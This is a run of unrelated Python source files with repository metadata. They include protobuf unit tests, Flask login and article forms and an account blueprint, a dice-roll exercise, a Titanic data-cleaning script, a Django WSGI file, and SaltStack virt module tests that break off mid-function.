msg.MergeFromString(serialized) if api_implementation.Type() == 'python': self.assertIn('optional_string', str(context.exception)) else: self.assertIn('Error parsing message', str(context.exception)) # Test optional_string=u'😍' is accepted. serialized = unittest_proto3_arena_pb2.TestAllTypes( optional_string=u'😍').SerializeToString() msg2 = unittest_proto3_arena_pb2.TestAllTypes() msg2.MergeFromString(serialized) self.assertEqual(msg2.optional_string, u'😍') msg = unittest_proto3_arena_pb2.TestAllTypes( optional_string=u'\ud001') self.assertEqual(msg.optional_string, u'\ud001') @unittest.skipIf(six.PY2, 'Surrogates are acceptable in python2') def testSurrogatesInPython3(self): # Surrogates like U+D83D is an invalid unicode character, it is # supported by Python2 only because in some builds, unicode strings # use 2-bytes code units. Since Python 3.3, we don't have this problem. # # Surrogates are utf16 code units, in a unicode string they are invalid # characters even when they appear in pairs like u'\ud801\udc01'. Protobuf # Python3 reject such cases at setters and parsers. Python2 accpect it # to keep same features with the language itself. 'Unpaired pairs' # like u'\ud801' are rejected at parsers when strict utf8 check is enabled # in proto3 to keep same behavior with c extension. # Surrogates are rejected at setters in Python3. with self.assertRaises(ValueError): unittest_proto3_arena_pb2.TestAllTypes( optional_string=u'\ud801\udc01') with self.assertRaises(ValueError): unittest_proto3_arena_pb2.TestAllTypes( optional_string=b'\xed\xa0\x81') with self.assertRaises(ValueError): unittest_proto3_arena_pb2.TestAllTypes( optional_string=u'\ud801') with self.assertRaises(ValueError): unittest_proto3_arena_pb2.TestAllTypes( optional_string=u'\ud801\ud801') @unittest.skipIf(six.PY3 or sys.maxunicode == UCS2_MAXUNICODE, 'Surrogates are rejected at setters in Python3') def testSurrogatesInPython2(self): # Test optional_string=u'\ud801\udc01'. # surrogate pair is acceptable in python2. msg = unittest_proto3_arena_pb2.TestAllTypes( optional_string=u'\ud801\udc01') # TODO(jieluo): Change pure python to have same behavior with c extension. # Some build in python2 consider u'\ud801\udc01' and u'\U00010401' are # equal, some are not equal. if api_implementation.Type() == 'python': self.assertEqual(msg.optional_string, u'\ud801\udc01') else: self.assertEqual(msg.optional_string, u'\U00010401') serialized = msg.SerializeToString() msg2 = unittest_proto3_arena_pb2.TestAllTypes() msg2.MergeFromString(serialized) self.assertEqual(msg2.optional_string, u'\U00010401') # Python2 does not reject surrogates at setters. msg = unittest_proto3_arena_pb2.TestAllTypes( optional_string=b'\xed\xa0\x81') unittest_proto3_arena_pb2.TestAllTypes( optional_string=u'\ud801') unittest_proto3_arena_pb2.TestAllTypes( optional_string=u'\ud801\ud801') @testing_refleaks.TestCase class ValidTypeNamesTest(unittest.TestCase): def assertImportFromName(self, msg, base_name): # Parse <type 'module.class_name'> to extra 'some.name' as a string. tp_name = str(type(msg)).split("'")[1] valid_names = ('Repeated%sContainer' % base_name, 'Repeated%sFieldContainer' % base_name) self.assertTrue(any(tp_name.endswith(v) for v in valid_names), '%r does end with any of %r' % (tp_name, valid_names)) parts = tp_name.split('.') class_name = parts[-1] module_name = '.'.join(parts[:-1]) __import__(module_name, fromlist=[class_name]) def testTypeNamesCanBeImported(self): # If import doesn't work, pickling won't work either. pb = unittest_pb2.TestAllTypes() self.assertImportFromName(pb.repeated_int32, 'Scalar') self.assertImportFromName(pb.repeated_nested_message, 'Composite') @testing_refleaks.TestCase class PackedFieldTest(unittest.TestCase): def setMessage(self, message): message.repeated_int32.append(1) message.repeated_int64.append(1) message.repeated_uint32.append(1) message.repeated_uint64.append(1) message.repeated_sint32.append(1) message.repeated_sint64.append(1) message.repeated_fixed32.append(1) message.repeated_fixed64.append(1) message.repeated_sfixed32.append(1) message.repeated_sfixed64.append(1) message.repeated_float.append(1.0) message.repeated_double.append(1.0) message.repeated_bool.append(True) message.repeated_nested_enum.append(1) def testPackedFields(self): message = packed_field_test_pb2.TestPackedTypes() self.setMessage(message) golden_data = (b'\x0A\x01\x01' b'\x12\x01\x01' b'\x1A\x01\x01' b'\x22\x01\x01' b'\x2A\x01\x02' b'\x32\x01\x02' b'\x3A\x04\x01\x00\x00\x00' b'\x42\x08\x01\x00\x00\x00\x00\x00\x00\x00' b'\x4A\x04\x01\x00\x00\x00' b'\x52\x08\x01\x00\x00\x00\x00\x00\x00\x00' b'\x5A\x04\x00\x00\x80\x3f' b'\x62\x08\x00\x00\x00\x00\x00\x00\xf0\x3f' b'\x6A\x01\x01' b'\x72\x01\x01') self.assertEqual(golden_data, message.SerializeToString()) def testUnpackedFields(self): message = packed_field_test_pb2.TestUnpackedTypes() self.setMessage(message) golden_data = (b'\x08\x01' b'\x10\x01' b'\x18\x01' b'\x20\x01' b'\x28\x02' b'\x30\x02' b'\x3D\x01\x00\x00\x00' b'\x41\x01\x00\x00\x00\x00\x00\x00\x00' b'\x4D\x01\x00\x00\x00' b'\x51\x01\x00\x00\x00\x00\x00\x00\x00' b'\x5D\x00\x00\x80\x3f' b'\x61\x00\x00\x00\x00\x00\x00\xf0\x3f' b'\x68\x01' b'\x70\x01') self.assertEqual(golden_data, message.SerializeToString()) @unittest.skipIf(api_implementation.Type() != 'cpp' or sys.version_info < (2, 7), 'explicit tests of the C++ implementation for PY27 and above') @testing_refleaks.TestCase class OversizeProtosTest(unittest.TestCase): @classmethod def setUpClass(cls): # At the moment, reference cycles between DescriptorPool and Message classes # are not detected and these objects are never freed. # To avoid errors with ReferenceLeakChecker, we create the class only once. file_desc = """ name: "f/f.msg2" package: "f" message_type { name: "msg1" field { name: "payload" number: 1 label: LABEL_OPTIONAL type: TYPE_STRING } } message_type { name: "msg2" field { name: "field" number: 1 label: LABEL_OPTIONAL type: TYPE_MESSAGE type_name: "msg1" } } """ pool = descriptor_pool.DescriptorPool() desc = descriptor_pb2.FileDescriptorProto() text_format.Parse(file_desc, desc) pool.Add(desc) cls.proto_cls = message_factory.MessageFactory(pool).GetPrototype( pool.FindMessageTypeByName('f.msg2')) def setUp(self): self.p = self.proto_cls() self.p.field.payload = 'c' * (1024 * 1024 * 64 + 1) self.p_serialized = self.p.SerializeToString() def testAssertOversizeProto(self): from google.protobuf.pyext._message import SetAllowOversizeProtos SetAllowOversizeProtos(False) q = self.proto_cls() try: q.ParseFromString(self.p_serialized) except message.DecodeError as e: self.assertEqual(str(e), 'Error parsing message') def testSucceedOversizeProto(self): from google.protobuf.pyext._message import SetAllowOversizeProtos SetAllowOversizeProtos(True) q = self.proto_cls() q.ParseFromString(self.p_serialized) self.assertEqual(self.p.field.payload, q.field.payload) if __name__ == '__main__': unittest.main()
c5496dfe565e03a669ff94ddc35eb0624c222896
3274e44458cd20e0c9b04fc41ef0e981f2bfaa34
/forms.py
b3e3630316a6ed949969a3cdab42bd095bd9e398
[ "MIT" ]
permissive
ThanlonSmith/news_cms
b354f59cc8d31b3495c0fa445375fe9c04ea2604
3a5b593334c3edd13682a0280d1ba003732e4c9a
refs/heads/master
2022-12-17T17:26:39.176484
2020-09-27T09:33:48
2020-09-27T09:33:48
298,996,072
0
0
null
null
null
null
UTF-8
Python
false
false
7,489
py
# coding:utf8 # @Time : 2020/7/2 上午1:26 # @Author : Erics # @File : forms.py # @Software: PyCharm from flask_wtf import FlaskForm # pip install flask_wtf -i https://mirrors.aliyun.com/pypi/simple from wtforms import StringField, PasswordField, SubmitField, SelectField, FileField, TextAreaField from wtforms.validators import DataRequired, EqualTo, ValidationError, Length from models import User, Cate from flask import session class RegisterForm(FlaskForm): name = StringField( label='账号', validators=[ DataRequired('账号不能为空!'), Length(max=16, message='账号不大于%(max)d位!') ], description='账号', render_kw={ 'class': 'form-control', "placeholder": "请输入账号!", 'maxlength': '16', } ) pwd = PasswordField( label="密码", validators=[ DataRequired("密码不能为空!"), Length(min=6, max=20, message='密码长度必须大于%(min)d不少于%(max)d位!') ], description="密码", render_kw={ "class": "form-control", "placeholder": "请输入密码!", 'maxlength': '20', 'minlength': '6', } ) re_pwd = PasswordField( label=u"确认密码", validators=[ DataRequired("确认密码不能为空!"), Length(min=6, max=20, message='密码长度必须大于%(min)d不少于%(max)d位!'), EqualTo('pwd', message="两次输入密码不一致!") ], description="确认密码", render_kw={ "class": "form-control", "placeholder": "请输入确认密码!", 'maxlength': '20', 'minlength': '6', } ) verification_code = StringField( label="验证码", validators=[ DataRequired("验证码不能为空!"), Length(min=4, max=4, message='请输入%(max)d位验证码!'), ], description="验证码", render_kw={ "class": "form-control", "placeholder": "请输入验证码!", 'maxlength': '4', 'minlength': '4', } ) submit = SubmitField( "注册", render_kw={ "class": "btn btn-primary" } ) # 自定义字段验证规则:validate_字段名 # 自定义账号验证功能:账号是否已经存在 def validate_name(self, field): name = field.data user_count = User.query.filter_by(name=name).count() if user_count > 0: raise ValidationError("账号已存在,不能重复注册!") # 自定义验证码验证功能:验证码是否正确 def validate_verification_code(self, field): code = field.data # 4j28 if session.get("code") and session.get("code").lower() != code.lower(): raise ValidationError("验证码不正确!") class LoginForm(FlaskForm): name = StringField( label='账号', validators=[ DataRequired('账号不能为空!'), Length(max=16, message='账号不大于%(max)d位!') ], description='账号', render_kw={ 'class': 'form-control', "placeholder": "请输入账号!", 'maxlength': '16', } ) pwd = PasswordField( label="密码", validators=[ DataRequired("密码不能为空!"), Length(min=6, max=20, message='密码长度必须大于%(min)d不少于%(max)d位!') ], description="密码", render_kw={ "class": "form-control", "placeholder": "请输入密码!", 'maxlength': '20', 'minlength': '6', } ) submit = SubmitField( "登录", render_kw={ "class": "btn btn-primary" } ) class ArticleAddForm(FlaskForm): def __init__(self, *args, **kwargs): super(ArticleAddForm, self).__init__(*args, **kwargs) cate = Cate.query.all() # [<Cate 2>, <Cate 1>] self.cate_id.choices = [(i.id, i.title) for i in cate] self.cate_id.choices.reverse() # print(self.cate_id.choices) # [(1, '科技'), (2, '社会')] title = StringField( label='标题', description='标题', validators=[ DataRequired('标题不能为空!'), Length(max=30, message='标题长度不应该大于%(max)d位!') ], render_kw={ 'class': 'form-control', 'placeholder': '请输入标题', 'maxlength': '30' } ) cate_id = SelectField( label='分类', description='分类', validators=[ DataRequired('分类不能为空!'), ], choices=None, default=1, coerce=int, render_kw={ 'class': 'form-control' } ) logo = FileField( label='封面', description='封面', validators=[ DataRequired('封面不能为空!') ], render_kw={ 'class': 'form-control-static' } ) content = TextAreaField( label="内容", validators=[ DataRequired("内容不能为空!"), Length(max=2000, message='不得超过%(max)d字') ], description="内容", render_kw={ "style": "height:300px;", "id": "content" } ) submit = SubmitField( "发布", render_kw={ "class": "btn btn-danger", } ) class ArticleEditForm(FlaskForm): def __init__(self, *args, **kwargs): super(ArticleEditForm, self).__init__(*args, **kwargs) cate = Cate.query.all() # [<Cate 2>, <Cate 1>] self.cate_id.choices = [(i.id, i.title) for i in cate] self.cate_id.choices.reverse() # print(self.cate_id.choices) # [(1, '科技'), (2, '社会')] title = StringField( label='标题', description='标题', validators=[ DataRequired('标题不能为空!'), Length(max=30, message='标题长度不应该大于%(max)d位!') ], render_kw={ 'class': 'form-control', 'placeholder': '请输入标题', 'maxlength': '30' } ) cate_id = SelectField( label='分类', description='分类', validators=[ DataRequired('分类不能为空!'), ], choices=None, default=1, coerce=int, render_kw={ 'class': 'form-control' } ) logo = FileField( label='封面', description='封面', validators=[ DataRequired('封面不能为空!') ], render_kw={ 'class': 'form-control-static' } ) content = TextAreaField( label="内容", validators=[ DataRequired("内容不能为空!"), Length(max=2000, message='不得超过%(max)d字') ], description="内容", render_kw={ "style": "height:300px;", "id": "content" } ) submit = SubmitField( "编辑", render_kw={ "class": "btn btn-primary" } )
e45767923ad9500f39828ce955a405c8f8f532c1
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/Yfm3h3nT3apARd4gC_15.py
f993b37a58929b8e7570a3eb9c3d4bd005e786b1
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
996
py
""" Create a function that takes a list consisting of dice rolls from 1-6. Return the sum of your rolls with the following conditions: 1. If a 1 is rolled, that is bad luck. The next roll counts as 0. 2. If a 6 is rolled, that is good luck. The next roll is multiplied by 2. 3. The list length will always be 3 or higher. ### Examples rolls([1, 2, 3]) ➞ 4 # The second roll, 2, counts as 0 as a result of rolling 1. rolls([2, 6, 2, 5]) ➞ 17 # The 2 following the 6 was multiplied by 2. rolls([6, 1, 1]) ➞ 8 # The first roll makes the second roll worth 2, but the # second roll was still 1 so the third roll doesn't count. ### Notes Even if a 6 is rolled after a 1, 6 isn't summed but the 6's "effect" still takes place. """ def rolls(lst): k=lst[0] for i in range(1,len(lst)): ​ s=lst[i] ​ if(lst[i-1]==1): s=0 if(lst[i-1]==6): s=2*lst[i] ​ k=k+s ​ return k
d4b7f92e65fef54a3974ebb8980dc6f72e48d271
a616222ab88766f7b74e3224f3584feec558c39e
/log1.py
be88aeff621887a48400c7aff29b3cf3e669ef25
[]
no_license
sundeepkakarla/python2
fdf736968961f44a6e83124d0e8636ec8432ea99
c8987fe1c86b91bdd58b6455e682d1c1fccffed8
refs/heads/master
2021-01-19T20:33:43.831511
2016-11-20T05:03:11
2016-11-20T05:03:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
188
py
import logging logging.basicConfig(level=logging.DEBUG) logging.info('Program started') logging.warn("Warnig message") logging.exception("Exception message") logging.info("program ended")
9255c63f88713989d591023379e353dc29631e7e
1749147fb24b13803d3437e0ae94250d67d618bd
/titanic/titanic_predict_surv.py
d04c873ba7f7ca7d7774a3f44dd32820e330f5ab
[]
no_license
MJK0211/bit_seoul
65dcccb9336d9565bf9b3bc210b1e9c1c8bd840e
44d78ce3e03f0a9cf44afafc95879e4e92d27d54
refs/heads/master
2023-02-06T00:45:52.999272
2020-12-26T07:47:30
2020-12-26T07:47:30
311,308,648
1
0
null
null
null
null
UTF-8
Python
false
false
3,726
py
import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns train = pd.read_csv('./data/titanic/csv/train.csv') test = pd.read_csv('./data/titanic/csv/test.csv') # print(train.shape) #(891, 12) # print(test.shape) #(418, 11) # print(train.head()) # print(train.tail()) # Survived - 생존 여부 (0 = 사망, 1 = 생존) # Pclass - 티켓 클래스 (1 = 1등석, 2 = 2등석, 3 = 3등석) # Sex - 성별 # Age - 나이 # SibSp - 함께 탑승한 자녀 / 배우자 의 수 # Parch - 함께 탑승한 부모님 / 아이들 의 수 # Ticket - 티켓 번호 # Fare - 탑승 요금 # Cabin - 수하물 번호 # Embarked - 선착장 (C = Cherbourg, Q = Queenstown, S = Southampton) # train의 칼럼별 결측치 합계 # print(train.isnull().sum()) # PassengerId 0 # Survived 0 # Pclass 0 # Name 0 # Sex 0 # Age 177 # SibSp 0 # Parch 0 # Ticket 0 # Fare 0 # Cabin 687 # Embarked 2 # test의 칼럼별 결측치 합계 # print(test.isnull().sum()) # PassengerId 0 # Pclass 0 # Name 0 # Sex 0 # Age 86 # SibSp 0 # Parch 0 # Ticket 0 # Fare 1 # Cabin 327 # Embarked 0 def bar_chart(feature): survived = train[train['Survived']==1][feature].value_counts() dead = train[train['Survived']==0][feature].value_counts() df = pd.DataFrame([survived, dead]) df.index = ['Survived', 'Dead'] df.plot(kind='bar', stacked=True, figsize=(15,8)) # bar_chart('Embarked') #Pclass, Sex, SibSp, Parch, Embarked train = train.drop(['Cabin', 'Embarked', 'Ticket', 'PassengerId'],axis=1) test = test.drop(['Cabin', 'Embarked', 'Ticket', 'PassengerId'],axis=1) # print(test) train["Age"].fillna(train.groupby("Sex")["Age"].transform("mean"), inplace=True) test["Age"].fillna(test.groupby("Sex")["Age"].transform("mean"), inplace=True) test["Fare"].fillna(test.groupby("Sex")["Fare"].transform("median"), inplace=True) # print(train.isnull().sum()) # print(test.isnull().sum()) train_test_data = [train, test] for dataset in train_test_data: dataset['Title'] = dataset['Name'].str.extract(' ([A-Za-z]+)\.', expand=False) sex_mapping = {"male": 0, "female": 1} title_mapping = {"Mr":0, "Miss":1, "Mrs":2, "Master":3, "Dr":3, "Rev":3, "Col":3, "Major":3, "Mlle":3, "countess":3, "Ms":3, "Lady":3, "Jonkheer":3, "Don":3, "Dona":3, "Mme":3, "Capt":3, "Sir":3 } for dataset in train_test_data: dataset['Title'] = dataset['Title'].map(title_mapping) #title 맵핑 '0', '1', '2' dataset['Sex'] = dataset['Sex'].map(sex_mapping) #Sex '남:0', '여:1'로 맵핑 dataset.drop('Name', axis=1, inplace=True) #Name에서 Title 추출 후, 필요없는 데이터이기 때문에 삭제! # bar_chart('Title') # plt.show() # print(test) #Binning - Age를 10대, 20대, 30대, 40대, 50대, 50대 이상으로 분류 for dataset in train_test_data: dataset.loc[dataset['Age'] <= 19, 'Age'] = 0, #0 : 10대 dataset.loc[(dataset['Age'] > 19) & (dataset['Age'] <= 29), 'Age'] = 1, #1 : 20대 dataset.loc[(dataset['Age'] > 29) & (dataset['Age'] <= 39), 'Age'] = 2, #2 : 30대 dataset.loc[(dataset['Age'] > 39) & (dataset['Age'] <= 49), 'Age'] = 3, #3 : 40대 dataset.loc[(dataset['Age'] > 49) & (dataset['Age'] <= 59), 'Age'] = 4, #4 : 50대 dataset.loc[dataset['Age'] > 59, 'Age'] = 5, #5 : 50대이상 # print(train.groupby('Survived')['Age'].value_counts()) # bar_chart('Age') # plt.show()
3cd04be986dd9051c15d607bd9520043a0296705
f0bc59dc9aab005ef977957e6ea6b91bbe430952
/2019-06-06-ten-tips-python-web-devs-kennedy/code/top_10_web_explore/ex07_viewmodels/pypi_vm/views/account_view.py
536097402ca04631d85bc4f41202854bac972a11
[ "Apache-2.0" ]
permissive
Wintellect/WintellectWebinars
3ac0f6ae02d2d52eefb80f4f06d70f44e0d66095
5a59d9742c340022d58ec7e2cda69a1eba0feb53
refs/heads/master
2023-03-02T06:31:25.457579
2022-04-29T19:26:55
2022-04-29T19:26:55
87,122,981
68
124
Apache-2.0
2023-03-01T02:39:17
2017-04-03T21:33:32
JavaScript
UTF-8
Python
false
false
2,404
py
import flask from flask import Response from pypi_vm.infrastructure import cookie_auth from pypi_vm.infrastructure.view_modifiers import response from pypi_vm.services import user_service from pypi_vm.viewmodels.account.account_home_viewmodel import AccountHomeViewModel from pypi_vm.viewmodels.account.login_viewmodel import LoginViewModel from pypi_vm.viewmodels.account.register_viewmodel import RegisterViewModel blueprint = flask.Blueprint('account', __name__, template_folder='templates') # ################### INDEX ################################# @blueprint.route('/account') @response(template_file='account/index.html') def index(): vm = AccountHomeViewModel() if not vm.user: return flask.redirect('/account/login') return vm.to_dict() # ################### REGISTER ################################# @blueprint.route('/account/register', methods=['GET']) @response(template_file='account/register.html') def register_get(): vm = RegisterViewModel() return vm.to_dict() @blueprint.route('/account/register', methods=['POST']) @response(template_file='account/register.html') def register_post(): vm = RegisterViewModel() vm.validate() if vm.error: return vm.to_dict() # create user user = user_service.create_user(vm.email, vm.name, vm.password) response_val: Response = flask.make_response() cookie_auth.set_auth(response_val, user.id) return flask.redirect('/account', Response=response_val) # ################### LOGIN ################################# @blueprint.route('/account/login', methods=['GET']) @response(template_file='account/login.html') def login_get(): vm = LoginViewModel() return vm.to_dict() @blueprint.route('/account/login', methods=['POST']) @response(template_file='account/login.html') def login_post(): vm = LoginViewModel() vm.validate() if vm.error: return vm.to_dict() headers = dict(Location='/account') response_val: Response = flask.Response(status=302, headers=headers) cookie_auth.set_auth(response_val, vm.user.id) return response_val # ################### LOGOUT ################################# @blueprint.route('/account/logout') def logout(): headers = dict(Location='/') response_val: Response = flask.Response(status=302, headers=headers) cookie_auth.logout(response_val) return response_val
30a54b9384bc265e2460c72854893e255db26a59
c5b21cec89c743475b918bcbb0f36c492417f295
/djangomysqlrestcrudswagger/djangomysqlrestcrudswagger/wsgi.py
fefb24816b834800701be025cdd3ba520f88436f
[]
no_license
roytuts/django
f41acc8ca9d06177e76fc4b4824a5d6cbbf83328
7f32edcfb6b197680c189e3fe6e0d9971ea87e91
refs/heads/master
2023-06-10T11:54:12.184492
2021-06-28T04:53:40
2021-06-28T04:53:40
282,702,115
17
46
null
2020-12-06T22:32:24
2020-07-26T17:43:52
Python
UTF-8
Python
false
false
429
py
""" WSGI config for djangomysqlrestcrudswagger project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.0/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'djangomysqlrestcrudswagger.settings') application = get_wsgi_application()
b55bf0d5a78fc51ec3c3a90b25964149808978ac
95857cfe06ba533fc38e4266b3ca40914505ec9f
/01_hello.py
bd65d05e00075141282d58aa5a1b406435df8d22
[]
no_license
ccwu0918/python_basic
184b8d974ea8e0f615b0fd046a59177b7d045099
e5ff6d45dc80805bcda0d9949254f5ad2acfc306
refs/heads/master
2023-06-10T18:59:52.705045
2021-07-02T16:05:55
2021-07-02T16:05:55
null
0
0
null
null
null
null
UTF-8
Python
false
false
321
py
# 練習 Hello World,註解符號 print("Hello World") """ 單行註解,井字號 大段落文字的註解,三個引號 """ a = 3 b = 7 c = a * b print(a, "*", b, "=", c) print(7%3) name = "Vincent " print("My name is ", name) # 同時可設定多個變數 a, b = 3, 7 # 練習題:如何做兩數交換?
2b2b1b0623fbd155f773f0883f1016437d0e214b
af7b245364a2532fb1fd1bff915be196830d8699
/begin/urls.py
c50c5aa2a5b87ae23811ca38b32cca44550e600c
[]
no_license
NabhyaKhoria/NBS
433db9962031624db790de3e76450a31ce6287fb
25792daf1c10eddb66c1e6ebf6ca06acc8ae3b73
refs/heads/main
2023-07-01T16:52:38.850449
2021-07-10T18:22:19
2021-07-10T18:22:19
384,763,911
1
0
null
null
null
null
UTF-8
Python
false
false
139
py
from django.contrib import admin from django.urls import path from . import views urlpatterns = [ path('',views.home, name='home'), ]
85d8bfbe235614b4b0ed925893f339a1255e6207
29fd3daff8c31764c00777e67d2cc9b3e94ba761
/examples/appB_examples/pdb_demo_trace.py
36218fc7e9e2118913539b455203de4f100688d2
[]
no_license
mwoinoski/crs1906
06a70a91fc99e2d80e2ed3cea5724afa22dce97d
202f7cc4cae684461f1ec2c2c497ef20211b3e5e
refs/heads/master
2023-06-23T17:13:08.163430
2023-06-12T21:44:39
2023-06-12T21:44:39
39,789,380
1
2
null
2022-01-26T20:43:18
2015-07-27T17:54:56
Python
UTF-8
Python
false
false
566
py
"""pdb_demo_trace.py - Example of pdb from chapter 4""" import pdb class PdbDemo(object): def __init__(self, name, num_loops): self._name = name self._count = num_loops def count(self): for i in range(self._count): pdb.set_trace() print(i) return '{} executed {} of {} loops'\ .format(self._name, i+1, self._count) if __name__ == '__main__': obj_name = 'pdb demo' print('Starting ' + obj_name + '...') pd = PdbDemo(obj_name, 5) result = pd.count() print(result)
bb40e04886ed2422e53222096f14b7e314049118
f281d0d6431c1b45c6e5ebfff5856c374af4b130
/DAY100~199/DAY197-BOJ6002-Job Hunt/joohyuk.py
6745ebd98856cfab08e5396547a8f43ac8b9118d
[]
no_license
tachyon83/code-rhino
ec802dc91dce20980fac401b26165a487494adb4
b1af000f5798cd12ecdab36aeb9c7a36f91c1101
refs/heads/master
2022-08-13T09:10:16.369287
2022-07-30T11:27:34
2022-07-30T11:27:34
292,142,812
5
6
null
null
null
null
UTF-8
Python
false
false
657
py
import sys si = sys.stdin.readline d, p, c, f, s = [int(e) for e in si().split()] g, earnings = [[] for _ in range(c+1)], [0 for _ in range(c+1)] while p: p -= 1 a, b = [int(e) for e in si().split()] g[a].append([b, 0]) while f: f -= 1 a, b, w = [int(e) for e in si().split()] g[a].append([b, w]) earnings[s], flag = d, False for i in range(c): for city in range(c+1): for np in g[city]: if earnings[np[0]] < d-np[1]+earnings[city]: earnings[np[0]] = d-np[1]+earnings[city] if i == c-1: flag = True if flag: print(-1) else: print(max(earnings))
678a5889ce9341b5f501265063040dafe8ad8fdb
84226827016bf833e843ebce91d856e74963e3ed
/tests/unit/modules/virt_test.py
29ca75c47df0f043d970537f954538441ee92b49
[ "Apache-2.0" ]
permissive
jbq/pkg-salt
ad31610bf1868ebd5deae8f4b7cd6e69090f84e0
b6742e03cbbfb82f4ce7db2e21a3ff31b270cdb3
refs/heads/master
2021-01-10T08:55:33.946693
2015-05-21T13:41:01
2015-05-21T13:41:01
36,014,487
1
0
null
null
null
null
UTF-8
Python
false
false
19,915
py
# -*- coding: utf-8 -*- # Import python libs import sys import re # Import Salt Testing libs from salttesting import skipIf, TestCase from salttesting.helpers import ensure_in_syspath from salttesting.mock import NO_MOCK, NO_MOCK_REASON, MagicMock, patch ensure_in_syspath('../../') # Import salt libs from salt.modules import virt from salt.modules import config from salt._compat import ElementTree as ET import salt.utils # Import third party libs import yaml config.__grains__ = {} config.__opts__ = {} config.__pillar__ = {} virt.__salt__ = { 'config.get': config.get, 'config.option': config.option, } @skipIf(NO_MOCK, NO_MOCK_REASON) class VirtTestCase(TestCase): @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_boot_default_dev(self): diskp = virt._disk_profile('default', 'kvm') nicp = virt._nic_profile('default', 'kvm') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'kvm' ) root = ET.fromstring(xml_data) self.assertEqual(root.find('os/boot').attrib['dev'], 'hd') @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_boot_custom_dev(self): diskp = virt._disk_profile('default', 'kvm') nicp = virt._nic_profile('default', 'kvm') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'kvm', boot_dev='cdrom' ) root = ET.fromstring(xml_data) self.assertEqual(root.find('os/boot').attrib['dev'], 'cdrom') @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_boot_multiple_devs(self): diskp = virt._disk_profile('default', 'kvm') nicp = virt._nic_profile('default', 'kvm') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'kvm', boot_dev='cdrom network' ) root = ET.fromstring(xml_data) devs = root.findall('.//boot') self.assertTrue(len(devs) == 2) @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_gen_xml_for_serial_console(self): diskp = virt._disk_profile('default', 'kvm') nicp = virt._nic_profile('default', 'kvm') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'kvm', serial_type='pty', console=True ) root = ET.fromstring(xml_data) self.assertEqual(root.find('devices/serial').attrib['type'], 'pty') self.assertEqual(root.find('devices/console').attrib['type'], 'pty') @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_gen_xml_for_telnet_console(self): diskp = virt._disk_profile('default', 'kvm') nicp = virt._nic_profile('default', 'kvm') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'kvm', serial_type='tcp', console=True, telnet_port=22223 ) root = ET.fromstring(xml_data) self.assertEqual(root.find('devices/serial').attrib['type'], 'tcp') self.assertEqual(root.find('devices/console').attrib['type'], 'tcp') self.assertEqual(root.find('devices/console/source').attrib['service'], '22223') @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_gen_xml_for_telnet_console_unspecified_port(self): diskp = virt._disk_profile('default', 'kvm') nicp = virt._nic_profile('default', 'kvm') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'kvm', serial_type='tcp', console=True ) root = ET.fromstring(xml_data) self.assertEqual(root.find('devices/serial').attrib['type'], 'tcp') self.assertEqual(root.find('devices/console').attrib['type'], 'tcp') self.assertIsInstance(int(root.find('devices/console/source').attrib['service']), int) @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_gen_xml_for_serial_no_console(self): diskp = virt._disk_profile('default', 'kvm') nicp = virt._nic_profile('default', 'kvm') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'kvm', serial_type='pty', console=False ) root = ET.fromstring(xml_data) self.assertEqual(root.find('devices/serial').attrib['type'], 'pty') self.assertEqual(root.find('devices/console'), None) @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_gen_xml_for_telnet_no_console(self): diskp = virt._disk_profile('default', 'kvm') nicp = virt._nic_profile('default', 'kvm') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'kvm', serial_type='tcp', console=False, ) root = ET.fromstring(xml_data) self.assertEqual(root.find('devices/serial').attrib['type'], 'tcp') self.assertEqual(root.find('devices/console'), None) def test_default_disk_profile_hypervisor_esxi(self): mock = MagicMock(return_value={}) with patch.dict(virt.__salt__, {'config.get': mock}): ret = virt._disk_profile('nonexistent', 'esxi') self.assertTrue(len(ret) == 1) self.assertIn('system', ret[0]) system = ret[0]['system'] self.assertEqual(system['format'], 'vmdk') self.assertEqual(system['model'], 'scsi') self.assertTrue(system['size'] >= 1) def test_default_disk_profile_hypervisor_kvm(self): mock = MagicMock(return_value={}) with patch.dict(virt.__salt__, {'config.get': mock}): ret = virt._disk_profile('nonexistent', 'kvm') self.assertTrue(len(ret) == 1) self.assertIn('system', ret[0]) system = ret[0]['system'] self.assertEqual(system['format'], 'qcow2') self.assertEqual(system['model'], 'virtio') self.assertTrue(system['size'] >= 1) def test_default_nic_profile_hypervisor_esxi(self): mock = MagicMock(return_value={}) with patch.dict(virt.__salt__, {'config.get': mock}): ret = virt._nic_profile('nonexistent', 'esxi') self.assertTrue(len(ret) == 1) eth0 = ret[0] self.assertEqual(eth0['name'], 'eth0') self.assertEqual(eth0['type'], 'bridge') self.assertEqual(eth0['source'], 'DEFAULT') self.assertEqual(eth0['model'], 'e1000') def 